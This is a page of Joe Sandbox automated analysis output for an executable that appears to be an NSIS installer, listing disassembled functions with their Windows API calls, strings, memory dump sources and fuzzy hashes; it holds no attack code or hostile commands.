Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 32DB3439
minkernel\ntdll\ldrsnap.c, xrefs: 32DB344A, 32DB3476

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-3779518884
Opcode ID: 44010c2e45ac82a98f5cff504b9b2b3da97dcf824006c906f8ae1846ca876373
Instruction ID: ca02286a7fbf5f8f3f5abf415d0ad5d2ed0f29f7a013c1c219c31f2bddd7daad
Opcode Fuzzy Hash: 44010c2e45ac82a98f5cff504b9b2b3da97dcf824006c906f8ae1846ca876373
Instruction Fuzzy Hash: 4631F5B6A01355AFFB139F0C8845B56B3B4AF41399F86816AD9C067750EFA89CC0C6F1

Function 00406A31 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00406A4D
GetTempFileNameW.KERNEL32(?,0073006E,00000000,?,?,?,00000000,00403CAF,00436000,00436800,00436800,00436800,00436800,00436800,76073420,0040399D), ref: 00406A68

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 00406A3A
a, xrefs: 00406A46
n, xrefs: 00406A3F

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: Error writing temporary file. Make sure your temp folder is valid.$a$n
API String ID: 1716503409-3838866546
Opcode ID: 42452896a03faa5c12687f234f03a62933820c93469ae2d29fedaba6baed2be8
Instruction ID: b372954d90286b94022032574b0bf3fdd655f2b9327b001c14c93946e7bfd4ef
Opcode Fuzzy Hash: 42452896a03faa5c12687f234f03a62933820c93469ae2d29fedaba6baed2be8
Instruction Fuzzy Hash: 1CF0BE72300208BBEB109F44DC09BDE7779EF81710F11C03BE941BB180E6B05A5487A4

Function 0040141E Relevance: 7.6, APIs: 5, Instructions: 82registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00401486
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014D2
RegCloseKey.ADVAPI32(?), ref: 004014DC
RegDeleteKeyW.ADVAPI32(?,?), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401507

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: f177ed344ea6fd50dbffeb88da14f1b34f7d576460257365899ecec5bb3fd5f3
Instruction ID: 4f1e1c459a9a950a7738efb8d65c2f41013d72b2fa1f43b4319387a01f4f2cce
Opcode Fuzzy Hash: f177ed344ea6fd50dbffeb88da14f1b34f7d576460257365899ecec5bb3fd5f3
Instruction Fuzzy Hash: FD216032108244BBD7219F51DD08FABBBADFF99354F01043EF989A11B0D7359A149A6A

Function 00401EEA Relevance: 7.6, APIs: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401F03
GetClientRect.USER32(00000000,?), ref: 00401F4D
LoadImageW.USER32(00000000,?,00000100,?,?,00000100), ref: 00401F82
SendMessageW.USER32(00000000,00000172,00000100,00000000), ref: 00401F92
DeleteObject.GDI32(00000000), ref: 00401FA1

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 7f9423f384d93fc0e3e6fbc7cac958838f77b0a9d1a07732a5146b80b1a3c62d
Instruction ID: a1357e6e01c620789306e575287b66343fc6a42a857d7aaea03cc6a10a526d0d
Opcode Fuzzy Hash: 7f9423f384d93fc0e3e6fbc7cac958838f77b0a9d1a07732a5146b80b1a3c62d
Instruction Fuzzy Hash: 1C21B6726093029FD340DF64DE84A6BB7E8EB88304F04093EF985E62A1D778D840DB59

Function 00401FB8 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00401FB9
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401FD0
MulDiv.KERNEL32(00000000,00000000), ref: 00401FD8
ReleaseDC.USER32(?,00000000), ref: 00401FEB

Part of subcall function 00405E95: lstrcatW.KERNEL32(00427CA0,\Microsoft\Internet Explorer\Quick Launch,?,?,00424200,?,?,?,?,?,00000000,?,?), ref: 0040604B

CreateFontIndirectW.GDI32(0040C8C8), ref: 00402037

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectReleaselstrcat
String ID:
API String ID: 4253744674-0
Opcode ID: 9f2a315a86747fca2e42ee02dfd95963893f875b0ab85644b2b496c98eb1a616
Instruction ID: a293f1e503c12f3834b95d63be9809c732b55947eac1385e5f26d009a2b4f9be
Opcode Fuzzy Hash: 9f2a315a86747fca2e42ee02dfd95963893f875b0ab85644b2b496c98eb1a616
Instruction Fuzzy Hash: 5401D473144780EFD300BBB49E8AA563BE8EB55706F10893EF685B71E1C9784109CB2D

Function 32D3F8B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 263timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D9E51F

Strings

HEAP: , xrefs: 32D9E49D
HEAP[%wZ]: , xrefs: 32D9E490
(HeapHandle != NULL), xrefs: 32D9E4A8

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 3446177414-3610490719
Opcode ID: adc8fc1d56cd73153df1a6cbc6a5365dfe743bf3dbc1561062849a07260be935
Instruction ID: 231132e9ecc46c8a69badd5a50099d2d88a4f4562250be8704e5a423d206998f
Opcode Fuzzy Hash: adc8fc1d56cd73153df1a6cbc6a5365dfe743bf3dbc1561062849a07260be935
Instruction Fuzzy Hash: 5291E175206745AFE31ACF24C884B6EB7A5AF44744F00055AFA849F781DFB4E881CBA2

Function 32D60AEB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D60BFC

Strings

Failed to allocated memory for shimmed module list, xrefs: 32DA9F1C
LdrpCheckModule, xrefs: 32DA9F24
minkernel\ntdll\ldrinit.c, xrefs: 32DA9F2E

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-161242083
Opcode ID: 9a0abba95785c6a090d98583d51cd69183dade92b2325893ada56093e953124f
Instruction ID: c88003eafc1907b88af608e5d41c7f7a71da3ecf6664b7294717c6d358fcf261
Opcode Fuzzy Hash: 9a0abba95785c6a090d98583d51cd69183dade92b2325893ada56093e953124f
Instruction Fuzzy Hash: 0471F575A002099FEB04DF68D991BBEB7F0FB44309F948869E946E7350EB749982CB50

Function 0040553B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004211D0,%u.%u%s%s,?,00000000,00000000,?,000000DC,00000000,?,000000DF,004211D0,?,?,?,?,?), ref: 004055FA
wsprintfW.USER32 ref: 00405607
SetDlgItemTextW.USER32(?,004211D0), ref: 0040561E

Strings

%u.%u%s%s, xrefs: 004055F4

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 1657763a395a501c771c527054f82eb2be7fb15598214c574ca57117f0c03a97
Instruction ID: 55cf9957bdbe08eeb8051450228c2b429c3200e40720c4f5a9b0f695fa8f14cf
Opcode Fuzzy Hash: 1657763a395a501c771c527054f82eb2be7fb15598214c574ca57117f0c03a97
Instruction Fuzzy Hash: 902106737003142FD720A9799C81FAB7289CBC5364F01473EFE6AF71D1E979581885A5

Function 00401DBA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,?,?,?), ref: 00401E2C
SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00401E48

Strings

!, xrefs: 00401DF8

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 717c05464dbdde1d43877d7e05f7376ad78b7270f4b2221d83dfb1c24934849a
Instruction ID: 49af8de353e46cf11236f791407a5cbcba9ae5af57995df827a2b81b7b260957
Opcode Fuzzy Hash: 717c05464dbdde1d43877d7e05f7376ad78b7270f4b2221d83dfb1c24934849a
Instruction Fuzzy Hash: 44212471209301AFE714AF21C846A2FBBE8EF84755F00093FF585A21E0C6B98D01CA5A

Function 004068C1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(UXTHEME,Error writing temporary file. Make sure your temp folder is valid.,UXTHEME,004037EB,0000000B), ref: 004068CF
GetProcAddress.KERNEL32(00000000), ref: 004068EB

Part of subcall function 00406179: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406190
Part of subcall function 00406179: wsprintfW.USER32 ref: 004061CC
Part of subcall function 00406179: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004061E0

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 004068C2
UXTHEME, xrefs: 004068C1, 004068CE, 004068D9

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID: Error writing temporary file. Make sure your temp folder is valid.$UXTHEME
API String ID: 2547128583-890815371
Opcode ID: 8d13772ca545db48d6537eade3d6ef1f8b9852c922338cf59e69f906f7cb5f01
Instruction ID: 8df058e233f66e35bffb69da01c296363a0ab298929cdf7fbd230430fe9e2c9f
Opcode Fuzzy Hash: 8d13772ca545db48d6537eade3d6ef1f8b9852c922338cf59e69f906f7cb5f01
Instruction Fuzzy Hash: BAD05B371022159BC7012F62AE0895F776DEF56351705443AF541F7270DB38D82295FD

Function 32D6EE48 Relevance: 6.3, APIs: 4, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c0949f6969620e81bfb2dc172556b9175a7148074cc74a4f480d32e88344c06
Instruction ID: 08b7dfaab3b10a37f118ebcb2041a118e00a826200f0a676fbdd83e5078e146c
Opcode Fuzzy Hash: 1c0949f6969620e81bfb2dc172556b9175a7148074cc74a4f480d32e88344c06
Instruction Fuzzy Hash: 65E1F174D00708CFDB25CFA9C980AADBBF1BF48348F60456AE956AB360DB75A941CF50

Function 00405E19 Relevance: 6.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?), ref: 00405E5A
GetLastError.KERNEL32 ref: 00405E64
SetFileSecurityW.ADVAPI32(00000000,80000007,00000001), ref: 00405E7D
GetLastError.KERNEL32 ref: 00405E8B

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c4ec091984c90c0ed15a9be6932df6b8cec91024cb801c9daff41168a069ff59
Instruction ID: 2395f8a8d7837bad9ab877b1c5b4dd478f8f3e4f7c6de220d66e2a00ae86bb09
Opcode Fuzzy Hash: c4ec091984c90c0ed15a9be6932df6b8cec91024cb801c9daff41168a069ff59
Instruction Fuzzy Hash: A201EC75D00609DFDB109FA0DA44BAE7BB4EF14315F10453AD989F2190D7789648CF99

Function 00403364 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00403554), ref: 00403375
GetTickCount.KERNEL32 ref: 00403394
CreateDialogParamW.USER32(0000006F,00000000,0040362A,00000000), ref: 004033B3
ShowWindow.USER32(00000000,00000005), ref: 004033C1

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4a7b031ca6bcbd07d04e4791083f97fcd863d0c0ea14b4434ac483fd79bb7cb0
Instruction ID: 05fd0e373085f508408529d976a5f5643121ad856ee530bb797c10a8200a5ccc
Opcode Fuzzy Hash: 4a7b031ca6bcbd07d04e4791083f97fcd863d0c0ea14b4434ac483fd79bb7cb0
Instruction Fuzzy Hash: 2EF0F870651700EBEB209F60EF8DB1A3AA8B740B06F801979F941B51F0DFB89540CA5C

Function 32D458E0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494COMMON

Download Yara Rule

Strings

@, xrefs: 32DA08AE

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: b59980ed5c215df13707c66952068a1d59cff52162420ed55177de89fb806bae
Instruction ID: aed25a43ccb600a0304ae61155655856eede5e49c83f0364c49aa8a957d3280a
Opcode Fuzzy Hash: b59980ed5c215df13707c66952068a1d59cff52162420ed55177de89fb806bae
Instruction Fuzzy Hash: 90323474D042699FEB25CF64C984BD9BBB0BF18344F0041EAD549A7781DFB4AA88CF91

Function 32D74B79 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

Flst, xrefs: 32D74BB6
0, xrefs: 32D74BE3

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: 7f30b0b59e5b6eac79b9dd62657a27c420f881126b317c9cc77e46edf6336018
Instruction ID: 48e9e367d22573c66c7a9c69fed2bcba4f5e730f5b1bf5407ef03f2ec82e65c1
Opcode Fuzzy Hash: 7f30b0b59e5b6eac79b9dd62657a27c420f881126b317c9cc77e46edf6336018
Instruction Fuzzy Hash: 94519BB5A01248CFEB16CF98C49479EFBF4EF44795F14C42AD4869B340EBB49981CBA0

Function 32D3DF21 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D3DFE0

Strings

0, xrefs: 32D3DFAB
0, xrefs: 32D3DFC0

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: 0$0
API String ID: 3446177414-203156872
Opcode ID: 499b77504d656048a165cf3135edfe449b864fad76e15f124e37f54eb84a7485
Instruction ID: 9ef52a3d71173909b0ae2c7599db72a048b6dff97bc43a4d2bd324894e15ca7a
Opcode Fuzzy Hash: 499b77504d656048a165cf3135edfe449b864fad76e15f124e37f54eb84a7485
Instruction Fuzzy Hash: 03418CB56097459FD301CF28C484A5ABBE4BF88358F144A6EF988DB340D771EA05CF96

Function 00406613 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406AF5: lstrcpynW.KERNEL32(?,?,00000400,0040384C,00428D00,NSIS Error), ref: 00406B02

Part of subcall function 00406BA0: CharNextW.USER32(?,?,?,00000000,00425A48,0040662A,00425A48,00425A48,00000000,?,?,00406716,?,00000000,76073420,?), ref: 00406BAF
Part of subcall function 00406BA0: CharNextW.USER32(00000000), ref: 00406BB4
Part of subcall function 00406BA0: CharNextW.USER32(00000000), ref: 00406BCE

Part of subcall function 00406D18: CharNextW.USER32(?,*?|<>/":,00000000,Error writing temporary file. Make sure your temp folder is valid.,00436800,00000000,00436800,00403C8C,00436800,76073420,0040399D), ref: 00406D8D
Part of subcall function 00406D18: CharNextW.USER32(?,?,?,00000000), ref: 00406D9C
Part of subcall function 00406D18: CharNextW.USER32(?,Error writing temporary file. Make sure your temp folder is valid.,00436800,00000000,00436800,00403C8C,00436800,76073420,0040399D), ref: 00406DA1
Part of subcall function 00406D18: CharPrevW.USER32(?,?,Error writing temporary file. Make sure your temp folder is valid.,00436800,00000000,00436800,00403C8C,00436800,76073420,0040399D), ref: 00406DB9

lstrlenW.KERNEL32(00425A48,00000000,00425A48,00425A48,00000000,?,?,00406716,?,00000000,76073420,?), ref: 00406667
GetFileAttributesW.KERNEL32(00425A48,00425A48), ref: 00406678

Part of subcall function 004065AA: FindFirstFileW.KERNEL32(00000000,00427648,00000000,00406657,00425A48), ref: 004065B5
Part of subcall function 004065AA: FindClose.KERNEL32(00000000), ref: 004065C1

Strings

HZB, xrefs: 00406619

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Char$Next$FileFind$AttributesCloseFirstPrevlstrcpynlstrlen
String ID: HZB
API String ID: 1879705256-1498320904
Opcode ID: 2782f30abaae67d32aad9d2ddd7e042e6b9764b6a7ee77395c88dac23f9c836b
Instruction ID: c1f6674fc9072460158ec6ac158274c55d6247b1d16a8c1a13e9c8cd3e3f7c83
Opcode Fuzzy Hash: 2782f30abaae67d32aad9d2ddd7e042e6b9764b6a7ee77395c88dac23f9c836b
Instruction Fuzzy Hash: 60F0C2715016612AC62033762E89A2B255C8E2136979B4F3FFD97F22D2CA3ECC31956D

Function 004058AB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004058DF
CallWindowProcW.USER32(?,?,?,?), ref: 00405927

Part of subcall function 004054C3: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004054D5

Strings

, xrefs: 004058C0

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2dca9501c208de8155b709c61fb4f4fee366092d07c020c7b33c5c4d6728830a
Instruction ID: b1e338e3564b8c01f07b09259678d1708f9cc3666d75656fad75f4110972ebbf
Opcode Fuzzy Hash: 2dca9501c208de8155b709c61fb4f4fee366092d07c020c7b33c5c4d6728830a
Instruction Fuzzy Hash: 5401D472600619EBDF202F01DC04ADB3A25EB94768F004437F904B62E1C77989A29FED

Function 004061EA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?), ref: 004061F6
PeekMessageW.USER32(?,00000000,?,T5@,00000001), ref: 0040620A

Strings

T5@, xrefs: 004061FE

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID: Message$DispatchPeek
String ID: T5@
API String ID: 1770753511-1075436632
Opcode ID: 9cb97e42a766ea8cada08b0cc05ec87f5fef8c0c6a112fe8ce1f02b30d5e22d0
Instruction ID: 9faa2b1bfb0e31a5f243467a4896c54f1023d1031c98b050ea5e6b6ce42c350d
Opcode Fuzzy Hash: 9cb97e42a766ea8cada08b0cc05ec87f5fef8c0c6a112fe8ce1f02b30d5e22d0
Instruction Fuzzy Hash: 89D0123190020DA7DF109FE0DD09F9A7B6D6B04744F008035B742A9091D679D1179B99

Function 00406E83 Relevance: 5.2, APIs: 4, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.20208862651.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.20208754546.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20208936956.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209009714.000000000040A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.20209075226.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_temp_executable.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18d4879820a4453eecdf162b4afe9d44c77a4ab57f81905e4f0cda94476a9892
Instruction ID: 522defa19930b26a7af3553485d7a536a03fd017600a111de47fbc571b524dd9
